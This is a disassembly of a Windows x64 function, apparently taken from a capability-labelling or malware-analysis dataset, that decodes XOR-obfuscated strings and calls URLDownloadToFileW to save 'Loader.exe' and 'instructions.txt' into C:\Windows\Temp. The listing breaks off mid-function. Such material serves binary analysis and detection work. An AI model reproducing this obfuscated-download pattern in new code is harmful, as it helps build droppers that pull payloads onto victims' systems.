Function at 0x140001290
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x380
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x320], rax
movabs rax, 0x4385cc973bdc4b05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x8baed551ee1e4f85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x32b84e05b40b7ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x4e92b0c254fae725
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xae3801084bf7737e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x4241c330323370fb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xb4d25d3a3c5a1674
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x76ad1f144c3689e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x38789a38a8410ab4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0x1fff4073129dfba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x1e57015eff0ba45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xa0c698d156a7f739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x73f28e00e2a4d6f6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xcbfed875fed725ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x798ad159fe25267f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x8d5afcd94b7a77dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x69b94fe028ac8a19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x3f61e74f6de54c4a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0xe631600f03fb56ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x8cfcd1c392bb798
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs r13, 0x43f5cce33ba84b6d
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rcx, 0x8b81d57eee244ff6
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rdx, 0x32d04e71b4627ecf
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs r15, 0x4ef1b0ec5498e750
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs r8, 0xae6801274b9a7311
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs r12, 0x4228c3523247709a
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs r9, 0xb4a15d553c381613
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rdi, 0x76de1f704c198994
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rsi, 0x38199a4ba8250ad5
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs r14, 0x1d0f466315adfde
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x1807079ef95ba37
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xa0b598b456d4f758
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x73858e6fe2c0d6d9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xcb9fd81afebb25c2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x79f9d13dfe0a261b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x8d29fcb84b1e77bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x69964f9328cd8a7d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x3f05e72e6d8a4c06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xe6546021038956df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x8cfcd1c394eb7e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0xa0], ymm1
movabs rax, 0x43a2ccbf3b924b2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8beed51aee4a4f9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x32844e2db4117eb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x4eadb09c54f5e735
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xae0c01464bf5735d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x424dc37c323570ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xb4a15d553c5d166b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x200], ymm1
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x20]
xor ecx, ecx
vzeroupper
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140002744
lea rdx, str.Download_Complete
lea rcx, [rbp + 0x1e0]
call fcn.140003540
nop
lea rdx, str.The_file_has_been_downloaded_successfully_to_C:WindowsTempLoader.exe
lea rcx, [rbp + 0x280]
call fcn.140003540
lea r8, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova r8, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x280]
cmp qword [rbp + 0x298], 7
cmova rdx, qword [rbp + 0x280]
xor ecx, ecx
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp + 0x298]
cmp rdx, 7
jbe 0x14000192d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001928
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001928
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f14
movdqa xmm0, xmmword [0x1400067a0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x280], bx
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 7
jbe 0x140001995
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001988
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001988
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f14
movdqa xmm0, xmmword [0x1400067a0]
movdqu xmmword [rbp + 0x1f0], xmm0
mov word [rbp + 0x1e0], bx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x43a2ccbf3b924b2e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x8beed51aee4a4f9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x32844e2db4117eb8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x4eadb09c54f5e735
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xae1c01544bf47378
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x425cc331323270e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xb4d25d3b3c57167a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0x76aa1f084c6d89ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8b81d57eee244ff6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x32d04e71b4627ecf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xae6801274b9a7311
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xb4a15d553c381613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x60]
vxorps xmm0, xmm0, xmmword [rbp + 0x220]
vmovdqa xmmword [rbp + 0x60], xmm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140003340
nop
cmp qword [rbp + 0x148], 0
je 0x140002626
movabs rax, 0x4390cc8f3bc14b2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8bf6d511ee404fd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x32b14e1eb40e7ea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x4ed1b08854fde734
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xae2b01074bf57365
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x4241c305321b70a0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xb4d65d3a3c5c167d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x76bb1f244c4589e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x38559a17a8550ab8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x1b5f402313bdfb1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x1f8701cefbbba45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xa0b598b456def73d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x8b81d57eee244ff6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x32d04e71b4627ecf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xae6801274b9a7311
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xb4a15d553c381613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x1807079ef95ba37
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xa0b598b456d4f758
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x220], ymm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140003a70
movabs rax, 0x4387ccc33bc74b39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8bf5d55eee4a4f83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x32b64e51b4077ea7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x4eddb08954f4e739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xae0d01574bf57331
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x4240c326326770f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xb4ce5d163c181676
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x76b01f114c7489f9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x386b9a1ba8050ab1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x1a4f4163137dfb1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x1e47017eff4ba17
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xa0c398d556baf778
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x73f18e0ee2a7d6b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0xcbf0d86efe9b25a7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0x799cd155fe7e263b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x8d44fcdd4b4a779c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0x69ff4ff728ed8a0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0x3f71e74d6def4c74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xe66e605803fb56b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x8cfcd1c394eb7ea
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x8b81d57eee244ff6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x32d04e71b4627ecf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xae6801274b9a7311
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xb4a15d553c381613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0x1807079ef95ba37
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rax, 0xa0b598b456d4f758
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x73858e6fe2c0d6d9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
movabs rax, 0xcb9fd81afebb25c2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x79f9d13dfe0a261b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x8d29fcb84b1e77bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0x69964f9328cd8a7d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0x3f05e72e6d8a4c06
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xe6546021038956df
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x8cfcd1c394eb7e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x220], ymm1
vmovdqu ymm0, ymmword [rbp + 0x240]
vpxor ymm1, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x260], ymm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140003a70
movabs rax, 0x43b6ccc33bcc4b0e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
movabs rax, 0x8be8d529ee784fcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
movabs rax, 0x32a74e1eb4067ea1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rax, 0x4e94b0b854c4e723
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xae68012d4bea737c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rsi, 0x8b81d57eee244ff6
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs r14, 0x32d04e71b4627ecf
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xae6801274b9a7311
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
vmovdqu ymm0, ymmword [rbp + 0x280]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x280], ymm1
vmovdqa xmm0, xmmword [rbp + 0x2a0]
vxorps xmm0, xmm0, xmmword [rbp + 0x200]
vmovdqa xmmword [rbp + 0x2a0], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140003a70
movabs rax, 0x439bcc863bc04b39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8befd50bee564fd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x32b54e19b4167eef
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0x4e9db08554fee770
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xae1101454bba7374
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x4258c32b323370ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xb49b5d323c56167a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0x76de1f704c19899e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rax, 0xae6801274b9a7311
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0xb4a15d553c381613
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x2a0]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140003a70
movabs rax, 0x4391cc823bc74b21
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rax, 0x8be4d550ee564f93
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x32d04e7bb4077eb7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x280]
vmovdqu ymmword [rbp + 0x1e0], ymm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.140003a70
lea rcx, [rbp + 0xc8]
call fcn.1400038a0
test rax, rax
jne 0x140002626
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
lea rdx, str.Instructions_Saved
lea rcx, [rbp + 0x280]
call fcn.140003540
nop
lea rdx, str.Instructions_have_been_saved_to_C:WindowsTempinstructions.txt
lea rcx, [rbp + 0x1e0]
call fcn.140003540
lea r8, [rbp + 0x280]
cmp qword [rbp + 0x298], 7
cmova r8, qword [rbp + 0x280]
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova rdx, qword [rbp + 0x1e0]
xor ecx, ecx
mov r9d, 0x40
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 7
jbe 0x1400026d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f14
movdqa xmm0, xmmword [0x1400067a0]
movdqu xmmword [rbp + 0x1f0], xmm0
mov word [rbp + 0x1e0], bx
mov rdx, qword [rbp + 0x298]
cmp rdx, 7
jbe 0x140002733
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000272d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000272d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003f14
nop
lea rcx, [rbp + 0xc0]
call fcn.140002890
jmp 0x140002850
lea rdx, str.Download_Error
lea rcx, [rbp + 0x280]
call fcn.140003540
nop
lea rdx, str.Failed_to_download_the_file_from_the_specified_URL.
lea rcx, [rbp + 0x1e0]
call fcn.140003540
lea r8, [rbp + 0x280]
